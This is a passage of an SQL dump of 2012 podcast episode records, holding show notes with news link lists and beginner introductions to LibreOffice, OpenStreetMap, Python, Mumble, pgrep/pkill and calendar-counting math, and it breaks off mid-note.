(1135,'2012-12-07','TGTM Newscast for 12/01/2012',1055,'A newscast from Talk Geek to Me','<p>Here is a news review:</p>\r\n<ul>\r\n<li><a href=\"https://www.democracynow.org/2012/11/27/headlines#11279\">Florida\r\nRepublicans Admit Suppression of Democratic Votes Was Goal of New Law </a></li>\r\n<li><a\r\nhref=\"https://www.allgov.com/news/top-stories/obama-team-made-attempt-to-solidify-drone-policy-in-event-of-romney-win-121128?news=846329\">Obama\r\nTeam Made Attempt to Solidify Drone Policy in Event of Romney Win</a></li>\r\n<li><a href=\"https://wlcentral.org/node/2777\">Rafael Correa\'s New\r\nSouth America</a></li>\r\n<li><a\r\nhref=\"https://inthesetimes.com/article/14203/independent_media_now/\">Independent\r\nMedia Now!</a></li>\r\n<li><a\r\nhref=\"https://www.techdirt.com/articles/20121125/17525521138/kenyan-filmmaker-looking-to-cuts-costs-using-pirates-as-his-distributors.shtml\">Kenyan\r\nFilmmaker Looking To Cuts Costs By Using \'Pirates\' As His Distributors</a></li>\r\n<li><a\r\nhref=\"https://www.eff.org/deeplinks/2012/11/attempt-modernize-digital-privacy-law-passes-senate-judiciary-committee\">Attempt\r\nto Modernize Digital Privacy Law Passes the Senate Judiciary Committee</a></li>\r\n<li><a href=\"https://www.havanatimes.org/?p=82877\">Cuba Gov. Creates\r\nBiotech/Pharmaceutical Conglomerate</a></li>\r\n<li><a\r\nhref=\"https://www.wired.com/threatlevel/2012/11/student-suspension/\">Student\r\nSuspended for Refusing to Wear a School-Issued RFID Tracker</a></li>\r\n<li><a\r\nhref=\"https://torrentfreak.com/tv-shack-admin-richard-odwyer-will-not-be-extradited-to-u-s-121128/\">TV\r\nShack Admin Richard O’Dwyer Will NOT Be Extradited To U.S.</a></li>\r\n<li><a\r\nhref=\"https://www.techdirt.com/articles/20121128/15582121169/six-strikes-delayed-until-early-part-2013.shtml\">Six\r\nStrikes Delayed Until \'Early Part\' Of 2013</a></li>\r\n</ul>\r\n<p>Other Headlines:</p>\r\n<ul>\r\n<li><a href=\"https://sacsis.org.za/site/article/1504\">The\r\nIsraeli-Palestinian Holocaust</a></li>\r\n<li><a\r\nhref=\"https://peoplesworld.org/huge-argentina-human-rights-trial-begins/\">Huge\r\nArgentina human rights trial begins</a></li>\r\n<li><a href=\"https://sacsis.org.za/site/article/1508\">How Walmart and\r\nOther Huge Companies Support Horrific Conditions That Kill Workers</a></li>\r\n<li><a href=\"https://venezuelanalysis.com/news/7514\">Gender and\r\nSexuality Groups Rally for Greater Gender Equality in Venezuela</a></li>\r\n<li><a\r\nhref=\"https://torrentfreak.com/bittorrent-site-owners-fear-european-domain-seizures-121127/\">BitTorrent\r\nSite Owners Fear European Domain Name Seizures</a></li>\r\n</ul>\r\n<p>News from \"techdirt.com,\" \"inthesetimes.com,\"\r\n\"havanatimes.org\" and\r\n\"allgov.com\" used\r\nunder&nbsp;arranged\r\npermission.</p>\r\n<p>Audio Clip from \"thecommandline.net\" used under permission of the\r\nCreative Commons by-attribution share-alike license.<br />\r\n</p>\r\n<p>News\r\nfrom \"torrentfreak.com\" and \"eff.org\" used\r\nunder\r\npermission of the Creative Commons\r\nby-attribution&nbsp;license.</p>\r\n<p>News from \"wlcentral.org,\" and \"democracynow.org,\" used under\r\npermission of the Creative Commons\r\nby-attribution non-commercial no-derivatives license.<br />\r\n</p>\r\n<p>News Sources retain their respective copyrights.</p>\r\n\r\n<h2>Links</h2>\r\n<a href=\"https://www.democracynow.org/2012/11/27/headlines#11279\">https://www.democracynow.org/2012/11/27/headlines#11279</a><br />\r\n<a href=\"https://www.allgov.com/news/top-stories/obama-team-made-attempt-to-solidify-drone-policy-in-event-of-romney-win-121128?news=846329\">https://www.allgov.com/news/top-stories/obama-team-made-attempt-to-solidify-drone-policy-in-event-of-romney-win-121128?news=846329</a><br />\r\n<a href=\"https://wlcentral.org/node/2777\">https://wlcentral.org/node/2777</a><br />\r\n<a href=\"https://inthesetimes.com/article/14203/independent_media_now/\">https://inthesetimes.com/article/14203/independent_media_now/</a><br />\r\n<a href=\"https://www.techdirt.com/articles/20121125/17525521138/kenyan-filmmaker-looking-to-cuts-costs-using-pirates-as-his-distributors.shtml\">https://www.techdirt.com/articles/20121125/17525521138/kenyan-filmmaker-looking-to-cuts-costs-using-pirates-as-his-distributors.shtml</a><br />\r\n<a href=\"https://www.eff.org/deeplinks/2012/11/attempt-modernize-digital-privacy-law-passes-senate-judiciary-committee\">https://www.eff.org/deeplinks/2012/11/attempt-modernize-digital-privacy-law-passes-senate-judiciary-committee</a><br />\r\n<a href=\"https://www.havanatimes.org/?p=82877\">https://www.havanatimes.org/?p=82877</a><br />\r\n<a href=\"https://www.wired.com/threatlevel/2012/11/student-suspension/\">https://www.wired.com/threatlevel/2012/11/student-suspension/</a><br />\r\n<a href=\"https://torrentfreak.com/tv-shack-admin-richard-odwyer-will-not-be-extradited-to-u-s-121128/\">https://torrentfreak.com/tv-shack-admin-richard-odwyer-will-not-be-extradited-to-u-s-121128/</a><br />\r\n<a href=\"https://www.techdirt.com/articles/20121128/15582121169/six-strikes-delayed-until-early-part-2013.shtml\">https://www.techdirt.com/articles/20121128/15582121169/six-strikes-delayed-until-early-part-2013.shtml</a><br />\r\n<a href=\"https://sacsis.org.za/site/article/1504\">https://sacsis.org.za/site/article/1504</a><br />\r\n<a href=\"https://peoplesworld.org/huge-argentina-human-rights-trial-begins/\">https://peoplesworld.org/huge-argentina-human-rights-trial-begins/</a><br />\r\n<a href=\"https://sacsis.org.za/site/article/1508\">https://sacsis.org.za/site/article/1508</a><br />\r\n<a href=\"https://venezuelanalysis.com/news/7514\">https://venezuelanalysis.com/news/7514</a><br />\r\n<a href=\"https://torrentfreak.com/bittorrent-site-owners-fear-european-domain-seizures-121127/\">https://torrentfreak.com/bittorrent-site-owners-fear-european-domain-seizures-121127/</a><br />',237,65,1,'CC-BY-SA','newscast,TGTM',0,2232,1),
(1136,'2012-12-10','LibreOffice 01 Introduction to Office software',1620,'Introduction to Office Software','<p>LibreOffice\r\n</p>\r\n<p>Some useful sites</p>\r\n<ul>\r\n<li><a href=\"https://www.libreoffice.org/get-help/documentation/\">https://www.libreoffice.org/get-help/documentation/</a></li>\r\n<li><a href=\"https://wiki.documentfoundation.org/Documentation/Publications\">https://wiki.documentfoundation.org/Documentation/Publications</a></li>\r\n<li><a href=\"https://gofree.com/Tutorials/\">https://gofree.com/Tutorials/</a></li>\r\n<li><a href=\"https://en.libreofficeforum.org/\">https://en.libreofficeforum.org/</a></li>\r\n</ul>\r\n<br/>\r\n<p>My web site is at <a href=\"https://www.ahuka.com/\">https://www.ahuka.com/</a>.</p>\r\n<p>Remember to support free software!</p>\r\n',198,70,1,'CC-BY-SA','LibreOffice, office software, introduction',0,2453,1),
(1137,'2012-12-11','Open Street Maps',424,'Beginner\'s Guide to OpenStreetMap','<!--<P>New Age Techno Hippie</P>\r\n<P>Open Street Maps</P>\r\n<P><br/>\r\n</P>-->\r\n<P>Short call out for Open Street Maps</P>\r\n<P><br/>\r\n</P>\r\n<h3>Public Descriptions</h3>\r\n<P><A HREF=\"https://www.openstreetmap.us/\">https://en.wikipedia.org/wiki/OpenStreetMap</A></P>\r\n<P>Main Sites</P>\r\n<P><A HREF=\"https://www.openstreetmap.org/\">https://www.openstreetmap.org/</A></P>\r\n<P><A HREF=\"https://www.openstreetbrowser.org/\">https://www.openstreetbrowser.org/</A></P>\r\n<P><br/>\r\n</P>\r\n<h3>Wiki Links for main mobile OS</h3>                                                                                                                                                                                                \r\n<P><A HREF=\"https://wiki.openstreetmap.org/wiki/Android\">https://wiki.openstreetmap.org/wiki/Android</A></P>                                                               \r\n<P><A HREF=\"https://wiki.openstreetmap.org/wiki/IOS\">https://wiki.openstreetmap.org/wiki/IOS</A></P>                                                                       \r\n<P><A HREF=\"https://wiki.openstreetmap.org/wiki/Maemo\">https://wiki.openstreetmap.org/wiki/Maemo</A></P>                                                                   \r\n<P><br/>                                                                                                                                                                  \r\n</P>                                                                                                                                                                                                \r\n<h3>Link to Getting started</h3>                                                                                                                                           \r\n<P><A HREF=\"https://wiki.openstreetmap.org/wiki/Beginners%27_guide\">https://wiki.openstreetmap.org/wiki/Beginners%27_guide</A></P>                                         \r\n<P><br/><br/>                                                                                                                                                                                         \r\n</P>\r\n<P>This <B>Beginners\' guide</B> will show you how to add data to\r\nOpenStreetMap. Tutorials are available in many languages which you\r\ncan select from the table at the top of this page. \r\n</P>\r\n<P>You need a computer connected to the Internet and some time to\r\ngather information and then enter it. A GPS unit and connecting cable\r\nare purely optional, but will be required if you want to collect data\r\nthat way. Given the excellent aerial photography available in the\r\neditors these days a GPS is less important than in the early days of\r\nthe project. \r\n</P>\r\n<UL>\r\n        <LI><P><A HREF=\"https://wiki.openstreetmap.org/wiki/Beginners_Guide_1.0\">Create\r\n        a free account</A> so that you can contribute. \r\n        </P>\r\n        <LI><P><A HREF=\"https://wiki.openstreetmap.org/wiki/Beginners_Guide_1.1\">Collect\r\n        data</A> using a GPS unit or by other methods. \r\n        </P>\r\n        <LI><P><A HREF=\"https://wiki.openstreetmap.org/wiki/Beginners_Guide_1.2\">Upload\r\n        GPS data</A> (skip this section if you are not using GPS). \r\n        </P>\r\n        <LI><P><A HREF=\"https://wiki.openstreetmap.org/wiki/Beginners_Guide_1.3\">Edit\r\n        maps</A> to make changes to OpenStreetMap. \r\n        </P>\r\n        <LI><P><A HREF=\"https://wiki.openstreetmap.org/wiki/Beginners_Guide_1.4\">Edit\r\n        data</A>, add tags and upload changes. \r\n        </P>\r\n        <LI><P><A HREF=\"https://wiki.openstreetmap.org/wiki/Beginners_Guide_1.5\">See\r\n        your changes on the map</A>. \r\n        </P>\r\n        <LI><P>Finally, there is a page of <A HREF=\"https://wiki.openstreetmap.org/wiki/Beginners_Guide_1.6\">additional\r\n        resources</A> and next steps including some other excellent\r\n        tutorials. \r\n        </P>\r\n</UL>\r\n<P>The data you add to OpenStreetMap improves the free world map for\r\neveryone, whether it\'s a small correction or thousands of roads added\r\nover time. Thank you for making OpenStreetMap just that bit better! \r\n</P>\r\n<P>There is a panel on the right of every page of the tutorial. The\r\npage you are on will be in bold text and you can move to any other\r\npage by clicking on the relevant page title. The bottom of each page\r\nhas \'next\' and \'previous\' links, as appropriate, to take you through\r\nthe tutorial page by page. \r\n</P>\r\n',177,0,1,'CC-BY-SA','OpenStreetMap,GPS ',0,1395,1),
(1138,'2012-12-12','Programming languages 2 - Python',665,'An introduction to the Python language','<h1 class=\"title\">Programming languages 2 - Getting started with Python</h1>\r\n\r\n\r\n<ul>\r\n<li><a href=\"#sec-1\">1 Characteristics</a></li>\r\n<li><a href=\"#sec-2\">2 Installation</a></li>\r\n<li><a href=\"#sec-3\">3 Syntax and semantics</a></li>\r\n<li><a href=\"#sec-4\">4 Interpreter</a></li>\r\n<li><a href=\"#sec-5\">5 Standard library</a></li>\r\n<li><a href=\"#sec-6\">6 Documentation and tutorials</a></li>\r\n</ul>\r\n\r\nPython is a very interesting language in the sense that it covers a\r\nvery wide range of use cases. \r\n<ol>\r\n<li>It can be useful for simple scripting tasks, that is automating\r\n   repetitive tasks that you usually do by hand.\r\n</li>\r\n<li>It can also be useful for text file processing, like parsing log\r\n   files or specific formats like XML.\r\n</li>\r\n<li>You can use use it as a glue language, that is a mix of system\r\n   calls to command-line programs, like in scripting, but also by\r\n   calling foreing language libraries which provide Python bindings.\r\n</li>\r\n<li>You can use Python as a first language in a Computer Science\r\n   curriculum, since it is simple to learn and supports different\r\n   programming paradigms (Object Oriented, Procedural, Functional).\r\n</li>\r\n<li>You can it also as an extension language, since a Python\r\n   interpreter can be embedded in C/C++ programs.\r\n</li>\r\n<li>Python being a very rich language with a very rich standard\r\n   library, you can use it to build very complex applications. There\r\n   are many ways of using it to build complex Graphical User\r\n   Interfaces, since many graphical libraries provide Python bindings\r\n   (<a href=\"#Qt\">https://www.diotavelli.net/PyQtWiki/PyQt4</a>, <a href=\"https://www.pygtk.org/\">GTK</a>, etc.). Python also\r\n   provides a default library for GUIs, which is called <a href=\"https://tkinter.unpythonic.net/wiki/\">Tkinter</a> and is\r\n   based on Tcl/Tk.\r\n</li>\r\n<li>You can also use Python for web development, either by using the\r\n   standard library utilities or by using one of the very popular web\r\n   frameworks like <a href=\"https://www.zope.org/\">Zope</a>, <a href=\"https://plone.org/\">Plone</a> or <a href=\"https://www.djangoproject.com/\">Django</a>.\r\n</li>\r\n<li>Finally, Python is also extensively used in scientific computing,\r\n   since projects like <a href=\"https://www.scipy.org/\">SciPy</a>, <a href=\"https://numpy.scipy.org/\">Numpy</a> or <a href=\"https://matplotlib.sourceforge.net/\">Matplotlib</a> provide a set of\r\n   tools which allow Python to be as powerful as languages like Matlab\r\n   or IDL with the advantage of being a full fledged language with a\r\n   very rich standard library.\r\n</li>\r\n</ol>\r\n\r\n\r\n<h2 id=\"sec-2\"><span class=\"section-number-2\">2</span> Installation</h2>\r\n<p>\r\nThere are 2 current versions of Python: version 2 and\r\nversion 3. Version 3 is not fully compatible with version 2, so if you\r\nare starting with Python, I think is is wise to go with version 3, but\r\nbe aware that most existing applications and Open Source projects use\r\nversion 2.\r\n</p>\r\n<p>\r\nIf you are using a GNU based system, chances are that Python is\r\nalready installed in you system. Otherwise, it will be available in\r\nyour distribution repositories. As far as I know, Python is also\r\navailable on the Mac via the terminal. On widows, you will have to\r\ndownload a Python distribution from <a href=\"https://python.org/download\">https://python.org/download</a>. On\r\nthis page you will also find links for downloading Python for Linux,\r\nMacOS, etc.\r\n</p>\r\n<p>\r\nIf you go to this site, you will notice that they mention alternative\r\nimplementations of Python. The implementation I will be talking about\r\nhere is the one done in C.\r\n</p>\r\n<p>\r\nTo install Python, you also can download the source code and compile\r\nit yourself.\r\n</p>\r\n\r\n<h2 id=\"sec-3\"><span class=\"section-number-2\">3</span> Syntax and semantics</h2>\r\n\r\n<p>\r\nHave a look at <a href=\"https://en.wikipedia.org/wiki/Python_(programming_language)#Syntax_and_semantics\">this link</a>\r\n</p>\r\n<p>\r\nPython is intended to be a highly readable language. It is designed to\r\nhave an uncluttered visual layout, frequently using English keywords\r\nwhere other languages use punctuation. Python requires less\r\nboilerplate than traditional manifestly typed structured languages\r\nsuch as C or Pascal, and has a smaller number of syntactic exceptions\r\nand special cases than either of these.\r\n</p>\r\n<p>\r\nThe simplicity of Python is demonstrated by its version of the classic\r\n\"Hello world\" program:\r\n</p>\r\n<p>\r\nprint(\"Hello world\")\r\n</p>\r\n<p>\r\nIndentation\r\n</p>\r\n<p>\r\nPython uses whitespace indentation, rather than curly braces or\r\nkeywords, to delimit blocks; a feature also termed the off-side\r\nrule. An increase in indentation comes after certain statements; a\r\ndecrease in indentation signifies the end of the current block.\r\n</p>\r\n<p>\r\nStatements and control flow\r\n</p>\r\n<p>\r\nPython\'s statements include (among others):\r\n</p>\r\n<p>\r\n    The if statement, which conditionally executes a block of code,\r\n    along with else and elif (a contraction of else-if).\r\n</p>\r\n<p>\r\n    The for statement, which iterates over an iterable object,\r\n    capturing each element to a local variable for use by the attached\r\n    block.\r\n</p>\r\n<p>\r\n    The while statement, which executes a block of code as long as its\r\n    condition is true.\r\n</p>\r\n<p>\r\n    The class statement, which executes a block of code and attaches\r\n    its local namespace to a class, for use in object-oriented\r\n    programming.\r\n</p>\r\n<p>\r\n    The def statement, which defines a function or method.\r\n</p>\r\n<p>\r\n    The import statement, which is used to import modules whose\r\n    functions or variables can be used in the current program.\r\n</p>\r\n<p>\r\nEach statement has its own semantics: for example, the def statement\r\ndoes not execute its block immediately, unlike most other statements.\r\n</p>\r\n<p>\r\nExpressions\r\n</p>\r\n<p>\r\nPython expressions are similar to languages such as C and Java.\r\n</p>\r\n<p>\r\n    In Python, == compares by value, in contrast to Java, where it\r\n    compares by reference. (Value comparisons in Java use the equals()\r\n    method.) Python\'s is operator may be used to compare object\r\n    identities (comparison by reference). Comparisons may be chained,\r\n    for example a <= b <= c.\r\n</p>\r\n<p>\r\n    Python uses the words and, or, not for its boolean operators\r\n    rather than the symbolic &amp;&amp;, ||, ! used in Java and C.\r\n</p>\r\n<p>\r\n    Conditional expressions in Python are written as x if c else y\r\n    (different in order of operands from the ?: operator common to\r\n    many other languages).\r\n</p>\r\n\r\n<p>\r\nMethods\r\n</p>\r\n<p>\r\nMethods on objects are functions attached to the object\'s class; the\r\nsyntax instance.method(argument) is, for normal methods and functions,\r\nsyntactic sugar for Class.method(instance, argument). Python methods\r\nhave an explicit self parameter to access instance data, in contrast\r\nto the implicit self in some other object-oriented programming\r\nlanguages (for example, Java, C++ or Ruby).\r\n</p>\r\n<p>\r\nTyping\r\n</p>\r\n<p>\r\nPython uses duck typing and has typed objects but untyped variable\r\nnames. Type constraints are not checked at compile time; rather,\r\noperations on an object may fail, signifying that the given object is\r\nnot of a suitable type. Despite being dynamically typed, Python is\r\nstrongly typed, forbidding operations that are not well-defined (for\r\nexample, adding a number to a string) rather than silently attempting\r\nto make sense of them.\r\n</p>\r\n<p>\r\nPython allows programmers to define their own types using classes,\r\nwhich are most often used for object-oriented programming. New\r\ninstances of classes are constructed by calling the class (for\r\nexample, SpamClass() or EggsClass()), and the classes themselves are\r\ninstances of the metaclass type (itself an instance of itself),\r\nallowing metaprogramming and reflection.\r\n</p>\r\n\r\n<h2 id=\"sec-4\"><span class=\"section-number-2\">4</span> Interpreter</h2>\r\n\r\n<p>The section 3 of the python tutorial (<a href=\"https://docs.python.org/3/tutorial/introduction.html\">An informal introduction to Python</a>) gives a very good overview of the use of the interactive interpreter.\r\n</p>\r\n<p>\r\nOf course, if you are going to write long programs, you will want to\r\nsave them to files which can then be passed to the interpreter for execution.\r\n</p>\r\n\r\n<h2 id=\"sec-5\"><span class=\"section-number-2\">5</span> Standard library</h2>\r\n\r\n<p>Python has a very rich standard library, that is a set of modules\r\nwhich are part of the standard Python installation and which provide\r\nmany interesting functions which in many other languages are only\r\nprovided by 3rd party libraries :\r\n</p>\r\n<ul>\r\n<li>Operating System Interface\r\n</li>\r\n<li>Command Line Arguments\r\n</li>\r\n<li>Error Output Redirection and Program Termination\r\n</li>\r\n<li>String Pattern Matching\r\n</li>\r\n<li>Mathematics\r\n</li>\r\n<li>Internet Access\r\n</li>\r\n<li>Dates and Times\r\n</li>\r\n<li>Data Compression\r\n</li>\r\n<li>Performance Measurement\r\n</li>\r\n<li>Output Formatting\r\n</li>\r\n<li>Working with Binary Data Record Layouts\r\n</li>\r\n<li>Multi-threading\r\n</li>\r\n<li>Logging\r\n</li>\r\n<li>Decimal Floating Point Arithmetic\r\n</li>\r\n</ul>\r\n\r\n\r\n<h2 id=\"sec-6\"><span class=\"section-number-2\">6</span> Documentation and tutorials</h2>\r\n\r\n<p>The main reference is the Python documentation page at\r\n<a href=\"https://docs.python.org/\">https://docs.python.org/</a> . There you will find a very useful tutorial\r\n(this is the place to start), the standard library reference, and many\r\nother interesting information.\r\n</p>\r\n',197,25,1,'CC-BY-SA','programming,Python ',0,2426,1),
(1139,'2012-12-13','The missing episode',2535,'Discoveries made while spring cleaning','Psst... Ken is busy setting up servers for the new year episode, we\'re just going to slip out this episode that Mr. Gadgets himself forgot about. <br />\r\n <br />\r\nIn this episode Mr. Gadgets shares with us his discoveries as he does some spring cleaning. <br />\r\n <br />\r\nWhere were we 15 years ago, Power PC\'s, MB hard disks\r\n <br />\r\nAnd the Kansas city air pirates - what more do you want....\r\n',155,0,1,'CC-BY-SA','history,computers,IT ',0,2234,1),
(1140,'2012-12-14','TGTM Newscast for 12/9/2012',947,'A newscast from Talk Geek to Me','<p>Here is a news review:</p>\r\n<ul>\r\n<li><a\r\nhref=\"https://www.thestand.org/2012/12/fiscal-cliff-is-a-mechanism-for-elections-losers-to-have-their-way/\">‘Fiscal\r\ncliff’ a nonsensical construct for elections’ losers to have their way</a></li>\r\n<li><a href=\"https://www.havanatimes.org/?p=83267\">Cuba Won’t Free\r\nAlan Gross Unilaterally </a></li>\r\n<li><a\r\nhref=\"https://www.rawstory.com/rs/2012/12/06/michigan-lawmaker-slams-republicans-in-emotional-labor-rights-speech/\">Michigan\r\nlawmaker slams Republicans in emotional labor rights speech</a></li>\r\n<li><a\r\nhref=\"https://www.allgov.com/news/us-and-the-world/in-wake-of-us-global-war-on-terror-international-terrorist-attacks-have-quadrupled-since-911-121206?news=846402\">In\r\nWake of U.S. Global War on Terror, International Terrorist Attacks Have\r\nQuadrupled since 9/11</a></li>\r\n<li><a\r\nhref=\"https://inthesetimes.com/article/14254/walmarts_downward_wage_spiral1/\">Walmart’s\r\nDownward Wage Spiral</a></li>\r\n<li><a\r\nhref=\"https://torrentfreak.com/imagine-bittorrent-piracy-group-sysop-jailed-40-months-121130/\">IMAGiNE\r\nBitTorrent Piracy Group “Sysop” Jailed 40 months</a></li>\r\n<li><a\r\nhref=\"https://torrentfreak.com/top-bittorrent-sites-have-domains-put-on-hold-pending-legal-action-121201/\">Top\r\nBitTorrent Sites Have Domains Put On Hold Pending Legal Action</a></li>\r\n<li><a\r\nhref=\"https://torrentfreak.com/torrentreactor-launches-proxy-to-circumvent-torrent-site-censorship-121206/\">TorrentReactor\r\nLaunches Proxy to Circumvent Torrent Site Censorship</a></li>\r\n<li><a\r\nhref=\"https://www.techdirt.com/articles/20121205/15500921246/no-surprise-here-congress-passes-unanimous-resolution-telling-itu-hands-off-internet.shtml\">No\r\nSurprise Here: Congress Passes Unanimous Resolution Telling The ITU:\r\nHands Off The Internet</a></li>\r\n<li><a\r\nhref=\"https://www.techdirt.com/articles/20121205/15333521245/kim-dotcom-cleared-to-pursue-case-against-new-zealand-illegal-spying.shtml\">Kim\r\nDotcom Cleared To Pursue Case Against New Zealand For Illegal Spying</a></li>\r\n</ul>\r\n<p>Other Headlines:</p>\r\n<ul>\r\n<li><a\r\nhref=\"https://www.bradleymanning.org/activism/exclusive-presentation\">Video:\r\nPresentation by Bradley’s attorney David Coombs</a></li>\r\n<li><a href=\"https://wlcentral.org/node/2784\">Former PM Condemns\r\nAustralia for Abandoning Assange and Abdicating Sovereignty</a></li>\r\n<li><a\r\nhref=\"https://www.allgov.com/news/unusual-news/49-of-republicans-think-non-existent-group-stole-presidential-election-for-obama-121205?news=846392\">49%\r\nof Republicans Think Non-Existent Group Stole Presidential Election for\r\nObama</a></li>\r\n<li><a\r\nhref=\"https://www.eff.org/deeplinks/2012/12/newly-released-drone-records-reveal-extensive-military-flights-us\">Newly\r\nReleased Drone Records Reveal Extensive Military Flights in US</a></li>\r\n<li><a\r\nhref=\"https://securityledger.com/new-25-gpu-monster-devours-passwords-in-seconds/\">Update:\r\nNew 25 GPU Monster Devours Passwords In Seconds</a></li>\r\n</ul>\r\n<p>News from \"techdirt.com,\" \"thestand.org,\" \"havanatimes.org,\"\r\n\"rawstory.com,\" \"inthesetimes.com,\"\r\nand\r\n\"allgov.com\" used\r\nunder&nbsp;arranged\r\npermission.</p>\r\n<p>News\r\nfrom \"torrentfreak.com\" used\r\nunder\r\npermission of the Creative Commons\r\nby-attribution&nbsp;license.</p>\r\n<p>News Sources retain their respective copyrights.</p>\r\n<h2>Links</h2>\r\n<a href=\"https://www.thestand.org/2012/12/fiscal-cliff-is-a-mechanism-for-elections-losers-to-have-their-way/\">https://www.thestand.org/2012/12/fiscal-cliff-is-a-mechanism-for-elections-losers-to-have-their-way/</a><br />\r\n<a href=\"https://www.havanatimes.org/?p=83267\">https://www.havanatimes.org/?p=83267</a><br />\r\n<a href=\"https://www.rawstory.com/rs/2012/12/06/michigan-lawmaker-slams-republicans-in-emotional-labor-rights-speech/\">https://www.rawstory.com/rs/2012/12/06/michigan-lawmaker-slams-republicans-in-emotional-labor-rights-speech/</a><br />\r\n<a href=\"https://www.allgov.com/news/us-and-the-world/in-wake-of-us-global-war-on-terror-international-terrorist-attacks-have-quadrupled-since-911-121206?news=846402\">https://www.allgov.com/news/us-and-the-world/in-wake-of-us-global-war-on-terror-international-terrorist-attacks-have-quadrupled-since-911-121206?news=846402</a><br />\r\n<a href=\"https://inthesetimes.com/article/14254/walmarts_downward_wage_spiral1/\">https://inthesetimes.com/article/14254/walmarts_downward_wage_spiral1/</a><br />\r\n<a href=\"https://torrentfreak.com/imagine-bittorrent-piracy-group-sysop-jailed-40-months-121130/\">https://torrentfreak.com/imagine-bittorrent-piracy-group-sysop-jailed-40-months-121130/</a><br />\r\n<a href=\"https://torrentfreak.com/top-bittorrent-sites-have-domains-put-on-hold-pending-legal-action-121201/\">https://torrentfreak.com/top-bittorrent-sites-have-domains-put-on-hold-pending-legal-action-121201/</a><br />\r\n<a href=\"https://torrentfreak.com/torrentreactor-launches-proxy-to-circumvent-torrent-site-censorship-121206/\">https://torrentfreak.com/torrentreactor-launches-proxy-to-circumvent-torrent-site-censorship-121206/</a><br />\r\n<a href=\"https://www.techdirt.com/articles/20121205/15500921246/no-surprise-here-congress-passes-unanimous-resolution-telling-itu-hands-off-internet.shtml\">https://www.techdirt.com/articles/20121205/15500921246/no-surprise-here-congress-passes-unanimous-resolution-telling-itu-hands-off-internet.shtml</a><br />\r\n<a href=\"https://www.techdirt.com/articles/20121205/15333521245/kim-dotcom-cleared-to-pursue-case-against-new-zealand-illegal-spying.shtml\">https://www.techdirt.com/articles/20121205/15333521245/kim-dotcom-cleared-to-pursue-case-against-new-zealand-illegal-spying.shtml</a><br />\r\n<a href=\"https://www.bradleymanning.org/activism/exclusive-presentation\">https://www.bradleymanning.org/activism/exclusive-presentation</a><br />\r\n<a href=\"https://wlcentral.org/node/2784\">https://wlcentral.org/node/2784</a><br />\r\n<a href=\"https://www.allgov.com/news/unusual-news/49-of-republicans-think-non-existent-group-stole-presidential-election-for-obama-121205?news=846392\">https://www.allgov.com/news/unusual-news/49-of-republicans-think-non-existent-group-stole-presidential-election-for-obama-121205?news=846392</a><br />\r\n<a href=\"https://www.eff.org/deeplinks/2012/12/newly-released-drone-records-reveal-extensive-military-flights-us\">https://www.eff.org/deeplinks/2012/12/newly-released-drone-records-reveal-extensive-military-flights-us</a><br />\r\n<a href=\"https://securityledger.com/new-25-gpu-monster-devours-passwords-in-seconds/\">https://securityledger.com/new-25-gpu-monster-devours-passwords-in-seconds/</a><br />',237,65,1,'CC-BY-SA','newscast,TGTM',0,2210,1),
(1141,'2012-12-17','mumble client intro',518,'A brief introduction to the Mumble client','This is a very brief introduction to the mumble client, highlighting some of the basic options and gotchas involved in setting it up.',228,0,1,'CC-BY-SA','mumble,\"SSL certificate\",\"audio wizard\"',0,6773,1),
(1142,'2012-12-18','LiTS 020: pgrep and pkill',1690,'Look up or signal processes based on name and other attributes with pgrep and pkill','<p>\r\nThis episode the focus will be on two commands that go hand-in-hand: pgrep and pkill. Like the kill command, pkill is used to send a signal to a process usually with the intent to terminate or stop the process. Instead of passing the Process ID (PID) you can pass the process name:\r\n<br />\r\n<em>pkill xterm</em>\r\n</p>\r\n<p>\r\nFor the rest of this episode please check out the shownotes and video at <a href=\"https://www.linuxintheshell.com/2012/12/18/episode-20-pgrep-and-pkill/\">https://www.linuxintheshell.com/2012/12/18/episode-20-pgrep-and-pkill/</a>\r\n</p>\r\n',7,67,1,'CC-BY-SA','pgrep,pkill,process',0,2638,1),
(1143,'2012-12-19','The N Days of Christmas? Intro to Recreational Math',1365,'Intro to Recreational Math Part Zero','<pre>\r\nHacker Public Radio: 206 203 5729\r\n\r\nThe N Days of Christmas? Intro to Recreational Math\r\nPart Zero: Calendar Counting\r\n\r\nFirst episode of HPR that contains a direct discussion of a math topic.\r\n - Episode 479 Ohio Linux Fest, Klaatu interviews DWick about math \r\n      software for Linux\r\n      \r\n - Episode 523 Using Petunia software to teach math\r\n\r\n\r\nInspired by a traditional song that is proof that some songs do not\r\n   need to be recorded by William Shatner to be annoying.\r\n - Repetitive and formulaic\r\n - Involves a lot of counting, and that\'s our focus here. \r\n \r\n \r\nWhat is the 12 Days of Christmas?\r\n - Starts on Christmas Day, runs through the day before the next Season\r\n - Hint: That\'s \'Epiphany\', which starts January 6.\r\n - Counting calendar days comes hard, so we tend to use our fingers\r\n - Turns out that using our fingers is quite mathematical. Here\'s why.\r\n \r\nFinger Counting: How do I count Twelve Days?\r\n - Let\'s start easy, with the fingers on one hand. My hands have five.\r\n - To name the Five Days of New Years is easy: January 1-5 &lt;done&gt;\r\n \r\n - What about the Five Days of Christmas?\r\n        Physical way                   General way\r\n   * Christmas Day gets 1 (thumb)     Dec 25 is one day after Dec 24\r\n   * Dec 26 gets 2 (index)            26 - 24 = 2 days\r\n   * Dec 27 gets 3 (salute finger)    27 - 24 = 3 days\r\n   * Dec 28 gets 4 (ring)             28 - 24 = 4 days\r\n   * Dec 29 gets 5 (pinky)            29 - 24 = 5 days\r\n \r\n - Notice that counting 5 days, starting with Dec 25, is the same\r\n     as numbering the days after Dec 24 (Christmas Eve).\r\n   * In math, we call this \"1-1 correspondence with natural numbers\"\r\n   * Math can give you the same certainty as using your fingers.  \r\n   * But it handles larger problems, because you don\'t run out.\r\n \r\n - Example: I\'m booked to speak on Day 4 of a 5-day conference\r\n   * Starts on the 25th of the month\r\n   * When do I have to show up?\r\n     - Wrong: Add 4 to first day (25), and arrive a day late.\r\n     - Correct: Add 4 to date of pre-registration cocktail party (24),\r\n          and arrive on time.\r\n      \r\n - OK. Back to Twelve Days of Christmas.  \r\n   * The labeling approach tells us that December can hold only the \r\n       first seven of the Twelve Days of Christmas, \r\n   * December 31 - December 24 gives me 7 days.\r\n \r\n \r\n Partitioning: Adding hands full of additional fingers as needed\r\n  - How do we handle the case where we go into the next month?\r\n  - Key insight: Running out of December days for the Twelve Days is \r\n       like running out of fingers on one hand when we count to 8.\r\n  - We are so good at counting on our fingers that we don\'t recognize \r\n       the act of partitioning the number 8 between our two hands.\r\n    *  Left 